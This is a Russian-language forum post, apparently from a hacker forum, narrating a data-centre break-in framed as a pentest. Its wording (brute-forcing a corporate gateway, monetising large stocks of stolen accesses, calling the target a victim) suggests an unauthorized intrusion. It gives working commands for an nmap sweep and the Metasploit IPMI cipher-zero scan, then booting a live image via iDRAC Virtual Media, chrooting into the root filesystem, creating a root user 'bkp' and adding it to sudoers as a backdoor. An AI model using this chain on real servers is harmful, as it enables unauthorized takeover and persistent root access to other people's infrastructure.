LIMB
Вход Регистрация

тема

История пентеста когда захватили ЦОД через гостевой доступ

mike_vazovski · · 4 ответов · 461 просмотров

Привет все неравнодушным, с вами Майк Вазавски им мы начинаем.​

   ​
Изначально я писал про сетевую разведку, пробитие внешнего периметра через известные уязвимости и брут дефолтных учётных данных. Всё это — хорошая практика, если ты позиционируешь себя как самостоятельного специалиста, который всё делает своими руками.

Но когда у тебя на руках 150 тысяч хостов и около тысячи доступов к «цискам» или фортикам, быстро понимаешь: самый прибыльный подход — это когда ты:
  1. Сам проходишь весь цикл — от разведки до пост-эксплуатации.
  2. Чётко понимаешь, где начинается коммерция и куда нужно копать. \
  3. Делишь каждую инфраструктуру на два типа: «беспонтово и пусто» и «Active Directory, пусто, но нужно перепроверить».
Именно третий путь иногда наводит на настоящий Клондайк. Так случилось и с моими партнёрами, которые согласились (в обезличенном виде) показать читателям этот вектор атаки.
​

Первый контакт: брут корпоративного шлюза​

Всё началось с банального: из «абуза» мы забрутили корпоративный шлюз и с гостевыми учётными данными получили роутинг в 10 подсетей.
Мы прогнали nxc (NetExec) — ничего не нашли: ни DC, ни AD, ни RDP, ни VNC, ни LDAP, ни SSH. Доступ казался пустым.
В такой ситуации пентестер часто пускается во все тяжкие и начинает фонить шумящим трафиком, будто ему нечего терять. Мы запустили:

Code:
nmap -A -O -sV -sC -p- -T5  -oL <subnet>

Подождали пару часов и наткнулись на нечто необычное. ​

Нестандартная сеть: голые админки и ноунейм​

В корпоративных сетях обычно встречаются хосты, DC, NAS, ТКО, роутеры и пара порталов. Здесь же — голые веб-морды на 80/443 и ноунейм, который попадается крайне редко.
Про брут корпоративных VPN и массовую эксплуатацию написано много, тема не нова. Но я хочу описать вектор, который позволил получить первоначальный доступ к мощностям ЦОД.
Не удалось прогрузить медиа


   ​

Что такое IPMI и почему это интересно​

Согласно требованиям регуляторов (неважно, отечественных или международных), на рабочих станциях и серверах должен быть аппаратный второй фактор — токен, ключ доступа, домофон и т.п. Это позволяет на низком, изолированном уровне идентифицировать пользователя и не дать ему перейти на более высокий уровень абстракции.
Проще говоря: домофон пользователя разрешает загрузить только заданную ОС с системой защиты, а домофон администратора позволяет управлять ключами пользователей и загружаться с любых носителей. Для пользователя это означает невозможность загрузиться с Live-образа (например, WinPE Strelec) и получить права админа.
Практически это реализуется программно-аппаратным модулем доверенной загрузки — либо вшитым в материнскую плату, либо в виде PCI-карты, перехватывающей управление BIOS. В России это решения типа «Акорд», «МКТ», «ПАК Соболь», «Vip Net Safe Boot».
Для серверных решений разработчики пошли дальше: в ЦОД нужно мониторить не только доступ, но и железо — температуру, загрузку ОЗУ, CPU, сетевую активность, энергопотребление.
Стандартный порт IPMI — UDP 623. По нему передаются команды к BMC (Baseboard Management Controller) — отдельному контроллеру на материнской плате, работающему независимо от ОС. Это позволяет удалённо управлять сервером на уровне «железа».
Физически порт выглядит как RJ-45, подписанный IPMI, MGMT или BMC. Есть два режима:
Выделенный порт (Dedicated) — BMC имеет свой MAC и IP, трафик управления идёт по отдельной сети (безопасно).Общий порт (Shared) — BMC использует один из основных сетевых портов, что снижает безопасность (трафик смешивается с пользовательским).
В нашем случае администраторы вывели IPMI в отдельную подсеть, но допустили критическую ошибку.
Управление IPMI возможно через:
веб-интерфейс (зависит от вендора),
IPMI over LAN (утилита ipmitool в Kali),
из установленной ОС (драйверы производителя).
Нас интересовал веб-интерфейс — самый интуитивный.
 ​

Эксплойт «Грузовой поезд в Ад»​

Я загуглил систему и наткнулся на древний эксплойт, известный как Cipher Zero (MSF-модуль auxiliary/scanner/ipmi/ipmi_cipher_zero). Далее, как оказалось, ситуация была следующая. Я решил загуглить, что это за такая система и наткнулся на древний такой эксплойт, который в свое время прозвали Грузовой поезд в Ад

Bash:
msf> **use auxiliary/scanner/ipmi/ipmi_cipher_zero
set RHOSTS 10.0.0.0/24**
[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)
[ ] 10.0.0.99:623 VULNERABLE: Accepted a session open request for cipher zero
[ ] 10.0.0.132:623 VULNERABLE: Accepted a session open request for cipher zero
[ ] 10.0.0.141:623 VULNERABLE: Accepted a session open request for cipher zero
[ ] 10.0.0.153:623 VULNERABLE: Accepted a session open request for cipher zero

И в верхней части у нас есть возможность настроить биос, и перезагрузиться. С помощью Live CD линукс образов грузиммся, логинимся, монтируем к себе разделы дисков, создаем юзера, добавляем его в нужную группу и вуаля - мы получили полный контроль над сервером.

Оказавшись внутри, имеем вот такую картину:

Не удалось прогрузить медиа

​

Внутри iDRAC: возможности управления​

Оказавшись в веб-интерфейсе iDRAC (Dell) или аналогичном, мы получили полный функционал:

  1.  Удалённая консоль (KVM) — видим экран сервера, управляем мышью/клавиатурой через браузер. 
  2. Виртуальные носители (Virtual Media) — подключаем ISO-образ как CD/DVD или флешку.
  3. Мониторинг состояния — температуры, напряжения, вентиляторы, блоки питания, RAID.
  4. Журнал событий (SEL) — логи критических событий.
  5. Управление питанием — включение, выключение, перезагрузка.
  6. Оповещения — email/SNMP при сбоях.
  7. Управление учётными записями — пользователи, права, интеграция с LDAP/RADIUS.


Не удалось прогрузить медиа


Главная цель: Снизить время простоя серверов (MTTR) и исключить необходимость физического посещения стойки для 90% операций.
    В iDRAC9 Enterprise есть замечательная функция — Virtual Media. Она позволяет подключить удалённо ISO-образ как виртуальный CD/DVD-привод прямо
на сервере.
    Я загрузил минималистичный образ SystemRescue и подключил его через интерфейс iDRAC. Далее — перезагрузка сервера и выбор загрузки с виртуального привода через Boot Manager (F11).


Не удалось прогрузить медиа

​

От хэшей к полному контролю над ОС​

Получив хэши паролей или сами пароли, мы всё ещё не имели доступа к корневой ОС — только VNC-консоль KVM, где требуется авторизация. Но мы задались вопросом: можем ли через контроллер перезагрузить сервер и перехватить загрузку ядра?
Справочно:
Не удалось прогрузить медиа


Не удалось прогрузить медиа



Ответ: Да!


Не удалось прогрузить медиа
​

Игра однозначно стоит свеч.

Не удалось прогрузить медиа
​

Не удалось прогрузить медиа
​

​
Мы монтируем Live CD Linux с минимальным набором утилит, позволяющих:
  • примонтировать корневую файловую систему,
  • создать нового пользователя,
  • добавить его в группу root.
    Для получения полного контроля над целевой системой, в условиях отсутствия штатных учётных данных, использовался метод загрузки сервера с внешнего Live-образа (SystemRescue). Основная сложность заключалась в том, что корневая файловая система (/) была размещена на логическом томе LVM, а также присутствовали отдельные разделы для загрузчика (/boot) и EFI-системы (/boot/efi). Ниже приведена последовательность действий, которая позволила успешно интегрировать нового пользователя с правами суперпользователя (root).
​

1. Активация LVM-томов​

    После загрузки в среду SystemRescue первым шагом стала активация всех LVM-групп томов. Без этого шага логические тома не отображаются в каталоге /dev/mapper/ и недоступны для монтирования.

Bash:
vgchange -ay

    В выводе команды было подтверждено, что два логических тома (lv_root и lv_swap) в группе vg_main успешно активированы.
​

2. Монтирование корневого раздела​

    Далее было выполнено монтирование корневого логического тома в локальную директорию /mnt. Тип файловой системы — XFS, что потребовало явного указания параметра -t xfs.

Bash:
mount -t xfs /dev/mapper/vg_main-lv_root /mnt
Для верификации успешности операции была выполнена проверка содержимого директории:

Bash:
ls /mnt
Наличие системных каталогов (bin, etc, home, root) подтвердило, что корневой раздел смонтирован корректно.
​

3. Монтирование сервисных разделов​

    Чтобы обеспечить корректную работу команд в среде chroot и доступ к загрузчику, были примонтированы отдельные разделы:
Раздел /boot (устройство /dev/nvme2n1p3) в директорию /mnt/boot.
EFI-раздел (устройство /dev/nvme2n1p2) в директорию /mnt/boot/efi.

Bash:
mount /dev/nvme2n1p3 /mnt/boot
mount /dev/nvme2n1p2 /mnt/boot/efi

4. Подготовка псевдо-файловых систем для chroot​

    Для того чтобы окружение chroot функционировало как полноценная система, необходимо связать виртуальные файловые системы ядра (proc, sysfs, dev).

Bash:
mount -t proc proc /mnt/proc
mount -t sysfs sys /mnt/sys
mount --bind /dev /mnt/dev

5. Вход в изолированную среду (chroot)​

    Ключевой этап — смена корневого каталога на смонтированную файловую систему целевого сервера. Это позволяет выполнять команды так, как если бы они исполнялись непосредственно внутри операционной системы жертвы.

Bash:
chroot /mnt /bin/bash

6. Создание привилегированного пользователя​

    Находясь внутри изолированной среды, был выполнен комплекс действий по созданию нового пользователя bkp и наделению его правами суперпользователя.
Создание учётной записи:

Bash:
useradd -m -G sudo,root bkp


Ключ -m создает домашнюю директорию, -G добавляет пользователя в группы sudo и root.Установка пароля:
​
Bash:
passwd bkp

Добавление пользователя в группу root (дополнительная проверка):



Bash:
usermod -aG root bkp

Флаг -aG добавляет пользователя в указанную группу, не удаляя его из других.Предоставление права выполнения любых команд через sudo путём прямой записи в файл конфигурации:

bash
echo "bkp ALL=(ALL:ALL) ALL" >> /etc/sudoers​

Далее, перезагружаем сервер в штатном режиме, пробуем логиниться и видим надпись:
Login corect, мы есть root
Bash:


Вот такая вот история.

С Вами был Майк Вазовски, специально для LIMB.​
👍39 🔥4 😁6 😮4 👏9 💯7
старые логи всегда кормят. well done стейк, кусочек мотивации забрал себе, сап за ноледж +реп за контент:wink:
👍1
Недавно была похожая ситуация. Хорошая статья.
Спойлер: шутка-минутка.
Ответmike_vazovski

nmap -A -O -sV -sC -p- -T5 -oL <subnet>

Не хватало только --script vuln ;):ROFLMAO:
👍1
ОтветFebruary

Недавно была похожая ситуация. Хорошая статья. Спойлер: шутка-минутка. Не хватало только --script vuln ;):ROFLMAO:

Сегодня залью про DoS nmap при --script
👍1
Ответec5745y

Сегодня залью про DoS nmap при --script

Ждём!
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.